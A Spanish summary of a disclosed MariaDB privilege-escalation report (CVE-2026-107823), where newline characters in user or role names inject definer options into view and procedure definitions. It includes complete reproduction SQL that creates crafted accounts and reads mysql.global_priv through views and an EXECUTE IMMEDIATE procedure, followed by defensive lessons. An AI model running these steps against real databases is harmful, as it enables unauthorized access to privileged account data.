Reports
ALTA[OTRAS INYECCIONES]#3880451

Escalada de privilegios en MariaDB por saltos de línea en nombres de usuario y roles

Un usuario con control sobre los nombres de usuario o roles que se crean podía inyectar saltos de línea que alteraban el definer de vistas y procedimientos, ejecutando SQL con los privilegios de otra cuenta. CVE-2026-107823.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB guarda la definición de las vistas (y de otros objetos como los procedimientos almacenados) en ficheros de formato propio, donde el autor del objeto —el *definer*— se escribe como un valor de texto en bruto (FILE_OPTIONS_STRING). El problema es que el nombre del usuario o del rol que actúa como definer no se saneaba: si ese nombre contenía saltos de línea, el texto inyectado se interpretaba después como si fueran opciones adicionales del fichero de definición.

A partir de ahí, alguien que pueda elegir los nombres de usuario o de rol que se dan de alta en una base de datos —un escenario habitual en entornos multiinquilino o en paneles que provisionan cuentas— podía fabricar un nombre con saltos de línea para cambiar quién figura como definer de una vista o un procedimiento, y así ejecutar SQL con los privilegios de otra cuenta.

El reporte lo recibió el programa de mariadb el 22 de julio de 2026, se resolvió y se divulgó públicamente el 7 de octubre de 2026. Tiene asignado el identificador CVE-2026-107823.

Pasos de reproducción

Vía nombre de usuario

Se crea un usuario cuyo nombre incluye saltos de línea seguidos de las opciones que se quieren inyectar (definer_host y suid):

DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';

CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
  IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';

FLUSH PRIVILEGES;

Después, conectado como ese usuario (root\ndefiner_host=localhost\nsuid=1), se crea una función que lee una tabla privilegiada y se expone a través de una vista:

DELIMITER //
CREATE OR REPLACE FUNCTION leak()
RETURNS LONGTEXT
DETERMINISTIC
SQL SECURITY INVOKER READS SQL DATA
BEGIN
    DECLARE result LONGTEXT;

    SELECT JSON_ARRAYAGG(
        JSON_OBJECT('Host', Host, 'User', User, 'Priv', Priv)
    ) INTO result
    FROM mysql.global_priv;

    RETURN result;
END //
DELIMITER ;

CREATE OR REPLACE VIEW v AS SELECT leak();

La cuenta no puede leer directamente la tabla de privilegios, pero sí a través de la vista, que gracias al definer inyectado se ejecuta con privilegios elevados:

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'root
-- definer_host=localhost
-- suid=1'@'localhost' for table `mysql`.`global_priv`

SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Vía rol

El mismo fallo aparece con los roles. Se crea un rol con saltos de línea en el nombre y se concede a un usuario normal:

CREATE ROLE 'root
definer_host=localhost
suid=1';

GRANT 'root
definer_host=localhost
suid=1' TO 'vortfu'@'localhost';

FLUSH PRIVILEGES;

Después, como vortfu (reutilizando la función leak() anterior), se activa el rol y se crea la vista con DEFINER=CURRENT_ROLE:

SET ROLE 'root
definer_host=localhost
suid=1';

CREATE OR REPLACE DEFINER=CURRENT_ROLE VIEW v AS SELECT leak();
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]

Vía rol con @ y procedimiento almacenado

El investigador señala también una variante relacionada: roles cuyo nombre coincide con el de usuarios existentes combinados con procedimientos que usan DEFINER=CURRENT_ROLE. Se crea un rol llamado root@localhost y se concede a vortfu:

CREATE ROLE 'root@localhost';
GRANT 'root@localhost' TO 'vortfu'@'localhost';

Como vortfu, se activa el rol y se crea un procedimiento que ejecuta SQL arbitrario con seguridad de definer:

SET ROLE `root@localhost`;

CREATE DEFINER=CURRENT_ROLE PROCEDURE `vf-exec`(q TEXT)
  SQL SECURITY DEFINER
  EXECUTE IMMEDIATE q;

SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`

CALL `vf-exec`('SELECT * FROM mysql.global_priv');
-- | localhost        | mariadb.sys                        | {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}
-- ...

El procedimiento, al correr con los privilegios del definer suplantado, devuelve el contenido de mysql.global_priv, que la cuenta vortfu no podía consultar por sí misma.

Impacto

Un usuario que pueda elegir los nombres de usuario o de rol que se dan de alta puede ejecutar SQL con los privilegios de otra cuenta. En el caso demostrado, una cuenta sin acceso a mysql.global_priv termina leyendo esa tabla de privilegios a través de una vista o un procedimiento cuyo definer ha sido manipulado, lo que abre la puerta a una escalada de privilegios dentro del servidor de base de datos.

Qué aprender de este caso

  • Cuando un identificador controlado por el usuario (nombre de usuario, rol, etiqueta) se almacena en un formato de texto estructurado por líneas —ficheros de configuración, .frm/definiciones de objetos, cabeceras—, revisa qué pasa si contiene \n: un salto de línea puede convertir un simple nombre en opciones de configuración inyectadas.
  • En bases de datos, el campo definer de vistas, funciones y procedimientos (SQL SECURITY DEFINER, DEFINER=CURRENT_ROLE) es un punto crítico de escalada: si el valor del definer se deriva de datos que el atacante controla, puede acabar ejecutando código con privilegios que no le corresponden.
  • Al provisionar cuentas de forma automática (paneles multiinquilino, APIs de alta de usuarios), valida los nombres de usuario y de rol contra una lista restrictiva de caracteres permitidos antes de pasarlos al motor; no confíes en que el motor los sanee al guardarlos.
  • Desconfía de los roles cuyo nombre imita a usuarios existentes o incluye separadores como @: pueden colisionar con la forma en que el sistema resuelve identidades y usarse para suplantar la cuenta legítima.